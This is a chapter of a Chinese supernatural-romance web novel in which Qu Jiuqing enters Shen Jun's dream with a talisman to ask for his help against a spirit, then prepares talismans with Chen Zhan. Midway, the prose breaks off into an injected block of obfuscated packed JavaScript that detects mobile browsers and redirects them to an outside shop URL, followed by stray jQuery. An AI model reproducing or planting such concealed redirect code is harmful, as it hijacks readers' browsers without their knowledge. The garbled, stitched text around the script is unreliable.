深夜,宿舍楼的熄灯时间到,602寝室出现几朵手机屏幕的亮光——睡前玩手机,现代人的常态。
唯独4号床的蚊帐包裹一片漆黑。
瞿九清没有睡着,侧卧捻着入梦符犹豫。
入梦符属于招桃花一类不入流的符箓,记录在师父的野趣书里。师父不让她看,不让她学,说不是正道的法术,学了容易影响心智。
可惜师父低估她的好奇心,她趁师父去买菜的时候偷看,学会画几种旁门左道的符箓。
入梦符是其中一种,念叨对方的名字入睡就能进入对方的梦境。如果对方是普通人,入梦者在梦里做的事会影响对方的潜意识。例如暗恋者入梦,对暗恋的人做羞羞的事,等对方醒来就会对暗恋者产生莫名其妙的羞涩,慢慢地对暗恋者产生好感。
强行改变对方的心意,即为邪门歪道。
谁让她没有狗男人的联系方式呢!如果师父帮她要来,肯定又低声下气地求沉家。
呸!她绝不允许!
今晚她只能使用入梦符联系沉筠,绝不是为了改变他的潜意识,只是为了公事联系,顺便找他算账。
江紫还说,玩真心游戏的人要对被问的一方有强烈的情感,否则它不会出现,游戏失败。
她讨厌狗男人,狗男人也讨厌她,两人的感情多么强烈。
为了确认江紫教的咒语可不可信,她打电话问师父。师父给予肯定的答复,但叮嘱她要提防江紫。
听师父严厉如临大敌的语气,江紫的身份勾起她强烈的好奇心。而且师父知道“恨门”和“痴门”,他跟七大家族有没有关系?
换言之师父不是普通的老道士,连他也没办法解开她的死劫,该是十死无生。
瞿九清压下心头的酸楚,深呼吸,藏入梦符在枕头底下。
沉筠。沉筠。沉筠……
她默念狗男人的名字入睡。
氤氲的夜露缭绕朱红色的蛮子门,屋檐投下的暗影吞没门楣的牌匾。
她看向蹲在门前的两个小石狮子,觉得在哪儿见过。
这是沉筠的老家吗?
瞿九清抓住冰冷的门环,推门而入,穿过宽敞冷清的前院。
她的眉头越皱越紧,直到迈进熟悉的正堂,全身的汗毛竖起。
宽阔的正堂没了设宴的桌椅,主座的桌椅完好无损,大理石墙壁的“囍”已经揭下。
这是沉家的阴宅,她和沉筠举办婚礼的地方!
晦气。
瞿九清警惕地环顾四周,担心吃人的老祖宗又出现,快步穿过凉飕飕的正堂。
他会不会在西厢的婚房?想到婚房,她一阵别扭。
迂回的走廊乌漆麻黑,井然有序的柱子伫立黑暗之中,俨然两列阴兵,冷漠地盯着她走过。
走着走着,背后窜来一阵让她打哆嗦的寒意。她正结手印,刺骨的寒意推她撞上坚硬的柱子,喉咙被冰冷的东西穿过。
穿过?
瞿九清吓得一身冷汗,但意识清醒,喉咙能咽口水,确认自己没死,松一口气。
沉筠不是普通人,他在自己的梦里是无敌的,杀她易如反掌。
苍白如死尸的面庞堵在她的眼前,乌沉沉的丹凤眼翻涌怒火,每一道火舌都由强烈的仇恨凝聚,他像是冲破封印爬回来复仇的仇鬼。
冷酷沉默的沉筠,给她的感觉跟第一次见面时相似,但她又觉得哪儿不同,差了什么东西。
“沉筠,我特意来找你的!”
说话的时候,振动的声带与冰冷的气息碰撞,摩擦,插着喉管说话似的,她恶寒遍体。
眼前的沉筠向下俯视,一声不吭,眼底是漆黑的深海,毫无光泽。
瞿九清产生一种错觉。
此刻的沉筠看似冷酷,实则像西厢院子的那棵枯树,空洞地记录岁月,没有一点生气。
对了,他欠缺的是生气,是会咬她、和她吵架的生气。
梦里的沉筠真是奇怪。
“喂,你听见没?我有重要的事找你帮忙。”
冷漠如冰的沉筠朝她的脑袋挥来一只手,她机警地蹲下来,弯腰冲出他的禁锢。
沉筠转头,一手抓住她的睡衣衣摆,可惜手穿过去。
恨意扭曲他的俊脸,他化作森寒的阴风撞击。
顿时,瞿九清的后背起鸡皮疙瘩,她硬生生地转弯,撞上乒乓作响的格子状东西,谁知一下子撞开。
“啊——”
她趴在窗台的姿势不太雅观,上半身探进窗台,屁股和双腿露在外面。
怎么会这样!
她幻想过各种帅气的死亡姿势,例如死亡的一刻学康斯坦丁竖中指傲视撒旦,绝没有想过如此丢脸。
她奋力地挣扎想爬起来,身后的阴风逼近,冰窟般的寒气成倍来袭。
在她看不见的背后,张牙舞爪的黑雾吞噬虚弱的残魂。
紧接着,冷白的大手抓她后衣领,拎小猫般拎她起来。
“难得你自动送上门,我必定好好享用。”
阴沉愠怒的声音犹如天籁,她喜出望外。
她不顾后衣领被拎着,强行转身,看见颀长的黑影。
“沉筠?”她的手捏他的冰凉的脸庞,捏他的笔挺的鼻梁。
软的,有些许体温,是活人的手感!
相反,她的掌心和手指的体温比他的面庞高不知道多少倍,烫死了,着火一样,烫得他身后的黑雾颤动。
这女人果然和爬山虎一样,穿着幼稚没品的卡通睡衣,擅自从东家的墙爬到西家的墙,越过宽阔的沟壑来霸占地盘,连梦这种隐秘的角落都落下她的种子。
沉筠烦躁得想连根拔起,使劲拍开她的手:“你是脑里开满夜来香,还是以为别人的梦境是糖果小镇?”
瞿九清没有生气,反而支着下巴审视,在对方的雷区跳蹦迪:“刚才和你长一样的男人是谁?没有实体而且虚弱,是残魂吗?我还以为你被程珂重伤。”
他勾起阴森的浅笑:“我送你上路,你就知道了。”
瞿九清环手抱胸:“不行,先收起你排放的二氧化碳,我特意来找你是有重要的事情。”
特意找他?
他回神,冷声说:“吃掉你是目前最重要的事。”
“你要放过令你吃瘪的精怪吗?”
闻言,沉筠的目光犹如尖锐的钩子。
啧啧,她猜对了,知道他吃瘪她心情大好。“引它出来只有一个方法,就是玩招鬼游戏,叫做真心游戏。”她笑眯眯:“是验证对方真心的游戏。”
低沉的冷笑令胸臆微振。
真心,连修炼的材料也不是。
很快,瞿九清打断他的冷笑:“对方没有真心的情感它就会出现。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311817|198888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沉筠不笑了。
她胸有成竹:“上次我拿你当试验品,这一次你报复回来,很爽吧?”
“我更想喝光你的血,吃光你的肉,把你的魂魄制成不会说话的洋娃娃。”他的语气又轻又慢,恼怒的情绪从切齿中挤出来。
报复的诱惑居然抵不过吃她的,束手无策的瞿九清破罐破摔,呛声说:“那晚你卑鄙无耻,抢走程珂的一魂,是你欠我的!你不帮忙就把他的一魂还回来!”
他反唇相讥:“你粗心大意防备不足,我不过给你上一课罢了。”
“你这个——”她气炸。
有求于人的她落下风,她咽下骂人的话,暂时收起身上的尖刺,欺骗对方卸下防线。
不过她不会露出软化的一面,即使是请求的话,她的气焰依然高昂,底气十足:“只有你能帮我,你要什么条件才答应?除了卖命卖身,别的事我可以答应。”
乌沉沉的丹凤眼微颤,缓慢地流转幽暗的光泽。
沉默使人忐忑,她摸不准他的想法,绞尽脑汁思索让他答应的话术。
激怒他刺激他热血上头答应?恐怕她先血溅当场,活不过今晚。
美人计?不不,在他眼里她只是一盘菜。
她苦恼地环手抱胸。
“喂。”
瞿九清停下浮想联翩,茫然转眸。
他扬起下巴,冷傲嚣张:“帮你可以,条件……我想到再说。”
她喜上眉梢:“沉少爷你是大好人!你的微信号是多少?明早我发你游戏的玩法。”
沉筠念出手机号码,随即一声不吭地用力推她。
逼真的失重感惊醒瞿九清,一睁眼夜色迷蒙,垂下来的蚊帐顶熟悉得心安。
趁还记得他的手机号码,她马上保存到通讯录,添加他作微信好友。
他迟迟没有通过验证,可能还没醒来。
放下心头大石的瞿九清打哈欠,抽出枕头下面的入梦符,继续睡去。
大约到凌晨五点多,手机屏幕显示对方通过好友验证的信息。
手机的主人还在呼呼大睡。
白天,瞿九清和陈湛出去买大量符纸和朱砂,然后躲在陈湛的单人宿舍画符。
画好的黄符铺满茶几和饭桌,震惊的陈湛一张张端详,满心羡慕。“小九,普通人可以画符吗?”
瞿九清揉泛酸的手腕,瞟两眼放光的陈湛说:“看天赋和道运。有天赋和道运的普通人学习,画符的成功率很高,而天赋一般的多半学不来。”
他欲言又止。
瞿九清有意无意地又说:“古代的修道者分很多种,有法修,符修,阵修、丹修等等,流传到现在,有的修道者不再精通一类,同时修法术和阵法,也有的只修法术。就算没有画符的天赋,只学会使用法术也能驱邪。”
陈湛盯着满桌的符箓抿紧嘴唇,从前散漫无神的目光多了炽热的光泽。
“如无意外,过了今晚就会结束一切,给你的妈妈一个交代。”
他心不在焉地点头。
瞿九清提笔蘸朱砂:“师父要求我们自己解决,说是一次宝贵的历练。今晚将有一场苦战,我们要打起十二分精神,即使是一个疏忽也会让我们死掉。”
“放心,我今晚会好好护法!”
陈湛第一次感觉到自己多么重要,也能成为有作用的人。